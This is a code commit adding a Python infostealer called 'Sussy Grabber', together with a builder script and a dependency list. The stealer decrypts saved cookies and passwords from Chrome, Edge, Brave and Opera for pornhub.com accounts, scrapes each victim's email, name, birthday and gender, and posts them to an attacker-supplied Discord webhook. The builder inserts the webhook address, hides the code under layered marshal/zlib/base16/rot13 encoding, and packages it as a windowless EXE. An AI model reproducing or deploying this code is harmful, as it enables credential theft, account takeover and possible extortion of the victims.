-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
4 changed files
with
292 additions
and
0 deletions.
There are no files selected for viewing
Empty file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,175 @@ | ||
import requests, os, base64, shutil | ||
from json import loads | ||
from win32crypt import CryptUnprotectData | ||
from sqlite3 import connect | ||
from Crypto.Cipher import AES | ||
from discord_webhook import DiscordWebhook, DiscordEmbed | ||
|
||
wbh = "" | ||
|
||
class Sussy: | ||
|
||
def __init__(self): | ||
self.cookies = [] | ||
self.temppath = os.path.join(os.environ["USERPROFILE"], "AppData", "Local","Temp") | ||
self.paths = [f'{os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Microsoft","Edge","User Data")}', f'{os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google","Chrome","User Data")}',f'{os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "BraveSoftware","Brave-Browser","User Data")}',f'{os.path.join(os.environ["USERPROFILE"], "AppData", "Roaming", "Opera Software","Opera Stable")}',f'{os.path.join(os.environ["USERPROFILE"], "AppData", "Roaming", "Opera Software","Opera GX Stable")}'] | ||
self.profs = ["Default", "Profile 1","Profile 2", "Profile 3", "Profile 4","Profile 5", "Profile 6", "Profile 7", "Profile 8", "Profile 9", "Profile 10"] | ||
for pvth in self.paths: | ||
if "Opera Software" in pvth: | ||
try: | ||
key = self.__FindKey__(os.path.join(pvth, "Local State")) | ||
self.__Cookie__(pvth+"\\Network\\Cookies",key) | ||
except: | ||
pass | ||
else: | ||
for prof in self.profs: | ||
try: | ||
key = self.__FindKey__(os.path.join(pvth, "Local State")) | ||
self.__Cookie__(os.path.join(pvth,prof, "Network","Cookies"),key) | ||
except: | ||
pass | ||
try: | ||
os.remove(self.temppath+"\\pcookies") | ||
except: | ||
pass | ||
if len(self.cookies) > 0: | ||
for cookie in self.cookies: | ||
self.__Info__(cookie) | ||
|
||
def __FindKey__(self,path): | ||
return CryptUnprotectData(base64.b64decode(loads(open(path,'r',encoding='utf-8').read())["os_crypt"]["encrypted_key"])[5:], None, None, None, 0)[1] | ||
|
||
def __Password__(self,k,p,u,e): | ||
ppassword = "" | ||
temp = self.temppath+"\\ppasswords" | ||
shutil.copy(p, temp) | ||
c = connect(temp) | ||
cur = c.cursor() | ||
for vals in cur.execute("SELECT origin_url, username_value, password_value FROM logins").fetchall(): | ||
url, name, password = vals | ||
if "pornhub" in url: | ||
if str(name) == u or str(name) == e: | ||
ppassword = (AES.new(k, AES.MODE_GCM, password[3:15])).decrypt(password[15:])[:-16].decode() | ||
return ppassword | ||
c.close();cur.close() | ||
|
||
def __Cookie__(self,p,k): | ||
temp = self.temppath+"\\pcookies" | ||
shutil.copy(p, temp) | ||
c = connect(temp) | ||
cur = c.cursor() | ||
for row in cur.execute("SELECT * FROM cookies").fetchall(): | ||
if str(row[1]) == ".pornhub.com" and str(row[3]) == "il": | ||
self.cookies.append((AES.new(k, AES.MODE_GCM, row[5][3:15])).decrypt(row[5][15:])[:-16].decode()) | ||
c.close();cur.close() | ||
|
||
def __Info__(self,c): | ||
r=requests.get("https://www.pornhub.com/user/edit",cookies={"il": c}).text | ||
r2=requests.get("https://www.pornhub.com/user/security",cookies={"il": c}).text | ||
Thumb = r.split('<img class="smallAvatar" src="')[1].split('"')[0] | ||
Username = r.split('<span>Welcome <')[1].split('href="/users/')[1].split('"')[0] | ||
self.content = f""" | ||
:bust_in_silhouette: ``Account Of : {Username}``""" | ||
try: | ||
Email = r2.split('name="email" value="')[1].split('"')[0] | ||
self.content += f""" | ||
``|_``:envelope: ``Email (Verified) : {Email}``""" | ||
Password = "" | ||
for pvth in self.paths: | ||
if "Opera Software" in pvth: | ||
try: | ||
key = self.__FindKey__(os.path.join(pvth, "Local State")) | ||
Password = self.__Password__(key,os.path.join(pvth+"Login Data"),Username,Email) | ||
if Password != "": | ||
break | ||
except: | ||
pass | ||
else: | ||
for prof in self.profs: | ||
try: | ||
key = self.__FindKey__(os.path.join(pvth, "Local State")) | ||
Password = self.__Password__(key,os.path.join(pvth,prof, "Login Data"),Username,Email) | ||
if Password != "": | ||
break | ||
except: | ||
pass | ||
if Password != "": | ||
self.content += f""" | ||
``|_``:lock: ``Password : {Password}``""" | ||
else: | ||
self.content += f""" | ||
``|_``:lock: ``Password :`` :x:""" | ||
try: | ||
Prem = r.split('"isPremium":')[1].split(',')[0] | ||
if Prem == "0": | ||
self.content += f""" | ||
``|_``:gem: ``Premium :`` :x:""" | ||
else: | ||
self.content += f""" | ||
``|_``:gem: ``Premium :`` :white_check_mark:""" | ||
except: | ||
self.content += f""" | ||
``|_``:gem: ``Premium :`` :x:""" | ||
self.content += f""" | ||
``|``""" | ||
try: | ||
Name = r.split('<label>Name:</label>')[1].split('value="')[1].split('"')[0] | ||
if len(Name) < 1: | ||
self.content += f""" | ||
``|_``:label: ``Name :`` :x:""" | ||
elif Name == "0": | ||
self.content += f""" | ||
``|_``:label: ``Name :`` :x:""" | ||
else: | ||
self.content += f""" | ||
``|_``:label: ``Name : {Name}``""" | ||
except: | ||
self.content += f""" | ||
``|_``:label: ``Name :`` :x:""" | ||
try: | ||
Birthday = r.split('<label>Birthday:</label>')[1] | ||
y = Birthday.split('<div class="dateOfBirth modelBirthday dateYear">')[1].split('<')[0] | ||
m = Birthday.split('<div class="dateOfBirth modelBirthday dateMonth">')[1].split('<')[0] | ||
d = Birthday.split('<div class="dateOfBirth modelBirthday dateDay">')[1].split('<')[0] | ||
self.content += f""" | ||
``|_``:date: ``Birthday : {y}/{m}/{d}``""" | ||
except: | ||
self.content += f""" | ||
``|_``:date: ``Birthday :`` :x:""" | ||
try: | ||
Gender = r.split('<select class="" name="gender" >')[1].split('selected="selected">')[1].split('<')[0] | ||
if Gender == "Male": | ||
self.content += f""" | ||
``|_``:mens: ``Gender : {Gender}``""" | ||
elif Gender == "---": | ||
self.content += f""" | ||
``|_``:mens: ``Gender :`` :x:""" | ||
elif Gender == "Female": | ||
self.content += f""" | ||
``|_``:womens: ``Gender : {Gender}``""" | ||
elif Gender == "Couple": | ||
self.content += f""" | ||
``|_``:restroom: ``Gender : {Gender}``""" | ||
else: | ||
self.content += f""" | ||
``|_``:clown: ``Gender : {Gender}``""" | ||
except: | ||
self.content += f""" | ||
``|_``:mens: ``Gender :`` :x:""" | ||
self.content += f""" | ||
``|``""" | ||
self.content += f""" | ||
``|_``:cookie: ``Cookie (il) : {c}``""" | ||
webhook = DiscordWebhook(url=wbh, username="Sussy Grabber", avatar_url=r"https://cdn.discordapp.com/attachments/1092274601058373703/1092278533058998352/download_2.png") | ||
embed = DiscordEmbed(title=f"Sussy Grabber Hit", description=self.content, color='000000') | ||
embed.set_author(name="author : vesper", icon_url=r'https://cdn.discordapp.com/attachments/1092274601058373703/1092278533058998352/download_2.png') | ||
embed.set_footer(text='Vespy 2.0 | by : vesper') | ||
embed.set_thumbnail(url=Thumb) | ||
embed.set_image(url="https://cdn.discordapp.com/attachments/1087907951735492631/1092315902986432522/video.gif") | ||
embed.set_timestamp() | ||
webhook.add_embed(embed) | ||
webhook.execute() | ||
except: | ||
pass | ||
|
||
Sussy() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,111 @@ | ||
import base64, zlib, pickle, marshal, codecs, random, string, os, shutil | ||
|
||
class SimpleBuildSussy: | ||
|
||
def __init__(self): | ||
FILE = open("Sussy.py","r+").read() | ||
webhook = input("Enter Webhook --> ") | ||
name = input("Enter file name --> ") | ||
try: | ||
name = name.replace(" ","_") | ||
except: | ||
pass | ||
obf = input("Obfuscate (y/n) --> ") | ||
compil3 = input("Compile to EXE (y/n) --> ") | ||
FILE = FILE.replace('wbh = ""',f'wbh = "{webhook}"') | ||
open(f"Compiled/{name}.py","w+").write(FILE) | ||
if obf == "y": | ||
self.__obf__(name) | ||
if compil3 == "y": | ||
self.__compile__(name) | ||
input("\nFinished..") | ||
|
||
def __compile__(self,name): | ||
os.system(f"pyinstaller --onefile --name {name} --noconsole --clean Compiled/{name}.py") | ||
try: | ||
shutil.move(f"{os.getcwd()}\\dist\\{name}.exe", f"{os.getcwd()}\\Compiled\\{name}.exe") | ||
except:pass | ||
try: | ||
shutil.rmtree('build') | ||
except:pass | ||
try: | ||
shutil.rmtree('dist') | ||
except:pass | ||
try: | ||
shutil.rmtree('__pycache__') | ||
except:pass | ||
try: | ||
os.remove(f'{name}.spec') | ||
except:pass | ||
try: | ||
os.remove(f'{name}.py') | ||
except:pass | ||
|
||
def __obf__(self,name): | ||
CONTENT = open(f"Compiled/{name}.py",'r+').read() | ||
A="S1MP13___4SS_STR1N6______WTF___1S____TH15_BR0_______WTFFF___" | ||
B = r"\xff\xfeW\x00T\x00F\x00_\x00T\x00H\x001\x00S\x00_\x00_\x00C\x000\x00D\x003\x00_\x00_\x00_\x00_\x001\x00S\x00_\x00_\x00_\x00S\x000\x00_\x00_\x00_\x00_\x00F\x00U\x00C\x00K\x00I\x00N\x00G\x00_\x00_\x00_\x00W\x003\x001\x00R\x00D\x00_\x00_\x00_\x00_\x00_\x00_\x00B\x00R\x000\x00_\x00_\x00_\x00_\x00_\x00" * 5 | ||
C = f"{A}=b'{B}'\n"*1 | ||
D = "MyMomGaveMePeanutsForMyBirthday_"*50 | ||
HASHchanger="" | ||
for _ in range(20): | ||
HASHchanger += ''.join(random.choices(string.ascii_uppercase + string.digits, k=35))+"\n" | ||
HASHchanger2="" | ||
for _ in range(20): | ||
HASHchanger2 += ''.join(random.choices(string.ascii_uppercase + string.digits, k=35))+"\n" | ||
def S1MPL3(code:str,wall:bool): | ||
if wall:POOP = codecs.encode(base64.b16encode(zlib.compress(pickle.dumps(marshal.dumps(compile(code.encode(),f"SIMPLE ASF","exec"))))).decode(),"rot13") | ||
else:POOP=base64.b16encode(zlib.compress(pickle.dumps(marshal.dumps(compile(code.encode(),f"SIMPLE ASF","exec"))))).decode() | ||
POOP = POOP.replace("0","_IlIIlIIllIIIll").replace("1","_IlIllIIllIIIll").replace("2","_IlIIlIIllIIIlI").replace("3","_IllllIIllIIIll").replace("4","_IlIIlIIlIIlIll").replace("5","_IlIIlIIllIIIII").replace("A","_IlIIlllllIIIll").replace("B","_llIIlIIllIIlIl").replace("C","_llIllIIlllIIlI") | ||
CONTENT = f"""# Couldnt decompile all the code.\n'''\n{HASHchanger}'''\nimport requests, os, base64, shutil\nfrom json import loads\nfrom win32crypt import CryptUnprotectData\nfrom sqlite3 import connect\nfrom Crypto.Cipher import AES\nfrom discord_webhook import DiscordWebhook, DiscordEmbed\n'''\n{HASHchanger2}'''\n__Obf__="S1mpl3 0bf v2" | ||
"""+f"""S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___ = '{POOP}'"""+""" | ||
"""+f"""{C}\n#{D}"""+r""" | ||
"""+f"""{C}\n#{D}"""+r""" | ||
"""+f"""{C}\n#{D}"""+r""" | ||
S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___=S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___.replace(f'{chr(95)}{chr(73)}{chr(108)}{chr(73)}{chr(73)}{chr(108)}{chr(73)}{chr(73)}{chr(108)}{chr(108)}{chr(73)}{chr(73)}{chr(73)}{chr(108)}{chr(108)}',f'{chr(48)}') | ||
"""+f"""{C}\n#{D}"""+r""" | ||
S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___=S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___.replace(f'{chr(95)}{chr(73)}{chr(108)}{chr(73)}{chr(73)}{chr(108)}{chr(73)}{chr(73)}{chr(108)}{chr(73)}{chr(73)}{chr(108)}{chr(73)}{chr(108)}{chr(108)}',f'{chr(52)}') | ||
"""+f"""{C}\n#{D}"""+r""" | ||
S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___=S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___.replace(f'{chr(95)}{chr(108)}{chr(108)}{chr(73)}{chr(73)}{chr(108)}{chr(73)}{chr(73)}{chr(108)}{chr(108)}{chr(73)}{chr(73)}{chr(108)}{chr(73)}{chr(108)}',f'{chr(66)}') | ||
"""+r""" | ||
S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___=S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___.replace(f'{chr(95)}{chr(73)}{chr(108)}{chr(73)}{chr(108)}{chr(108)}{chr(73)}{chr(73)}{chr(108)}{chr(108)}{chr(73)}{chr(73)}{chr(73)}{chr(108)}{chr(108)}',f'{chr(49)}') | ||
"""+f"""{C}\n#{D}"""+r""" | ||
S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___=S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___.replace(f'{chr(95)}{chr(73)}{chr(108)}{chr(73)}{chr(73)}{chr(108)}{chr(73)}{chr(73)}{chr(108)}{chr(108)}{chr(73)}{chr(73)}{chr(73)}{chr(108)}{chr(73)}',f'{chr(50)}') | ||
"""+f"""{C}\n#{D}"""+r""" | ||
S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___=S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___.replace(f'{chr(95)}{chr(73)}{chr(108)}{chr(108)}{chr(108)}{chr(108)}{chr(73)}{chr(73)}{chr(108)}{chr(108)}{chr(73)}{chr(73)}{chr(73)}{chr(108)}{chr(108)}',f'{chr(51)}') | ||
"""+f"""{C}\n#{D}"""+r""" | ||
S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___=S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___.replace(f'{chr(95)}{chr(73)}{chr(108)}{chr(73)}{chr(73)}{chr(108)}{chr(73)}{chr(73)}{chr(108)}{chr(108)}{chr(73)}{chr(73)}{chr(73)}{chr(73)}{chr(73)}',f'{chr(53)}') | ||
"""+f"""{C}\n#{D}"""+r""" | ||
S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___=S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___.replace(f'{chr(95)}{chr(108)}{chr(108)}{chr(73)}{chr(108)}{chr(108)}{chr(73)}{chr(73)}{chr(108)}{chr(108)}{chr(108)}{chr(73)}{chr(73)}{chr(108)}{chr(73)}',f'{chr(67)}') | ||
"""+f"""{C}\n#{D}"""+r""" | ||
S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___=S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___.replace(f'{chr(95)}{chr(73)}{chr(108)}{chr(73)}{chr(73)}{chr(108)}{chr(108)}{chr(108)}{chr(108)}{chr(108)}{chr(73)}{chr(73)}{chr(73)}{chr(108)}{chr(108)}',f'{chr(65)}') | ||
"""+f"""{C}""" | ||
if wall: | ||
CONTENT+=r""" | ||
S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___=__import__(f"{chr(99)}{chr(111)}{chr(100)}{chr(101)}{chr(99)}{chr(115)}").decode(S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___,f"{chr(114)}{chr(111)}{chr(116)}{chr(49)}{chr(51)}") | ||
"""+f"""{C}\n#{D}"""+r""" | ||
S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___=__import__(f"{chr(98)}{chr(97)}{chr(115)}{chr(101)}{chr(54)}{chr(52)}").b16decode(S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___) | ||
"""+f"""{C}\n#{D}""" | ||
else: | ||
CONTENT+=r""" | ||
S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___=__import__(f"{chr(98)}{chr(97)}{chr(115)}{chr(101)}{chr(54)}{chr(52)}").b16decode(S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___) | ||
"""+f"""{C}\n#{D}""" | ||
CONTENT+=r""" | ||
S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___=__import__(f"{chr(122)}{chr(108)}{chr(105)}{chr(98)}").decompress(S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___) | ||
"""+f"""{C}\n#{D}"""+r""" | ||
"""+f"""{C}\n#{D}"""+r""" | ||
S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___=__import__(f"{chr(112)}{chr(105)}{chr(99)}{chr(107)}{chr(108)}{chr(101)}").loads(S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___) | ||
"""+f"""{C}\n#{D}"""+r""" | ||
S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___=__import__(f"{chr(98)}{chr(117)}{chr(105)}{chr(108)}{chr(116)}{chr(105)}{chr(110)}{chr(115)}").exec(__import__(f"{chr(109)}{chr(97)}{chr(114)}{chr(115)}{chr(104)}{chr(97)}{chr(108)}").loads(S1MP13____4SS_STR1N6_____WTF___1S____TH15_BR0_______WTFFF___)) | ||
"""+f"""{C}\n#{D}"""+r""" | ||
"""+f"""{C}\n#{D}"""+r""" | ||
"""+f"""{C}\n#{D}"""+r""" | ||
""" | ||
return CONTENT | ||
obf_content = S1MPL3(CONTENT,True) | ||
obf_content = S1MPL3(obf_content,False) | ||
obf_content = S1MPL3(obf_content,True) | ||
obf_content = S1MPL3(obf_content,False) | ||
open(f"Compiled/{name}.py","w+").write(obf_content) | ||
|
||
SimpleBuildSussy() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,6 @@ | ||
pip install pycryptodome | ||
pip install cryptography | ||
pip install requests | ||
pip install discord_webhook | ||
pip install pyinstaller | ||
pip install pypiwin32 |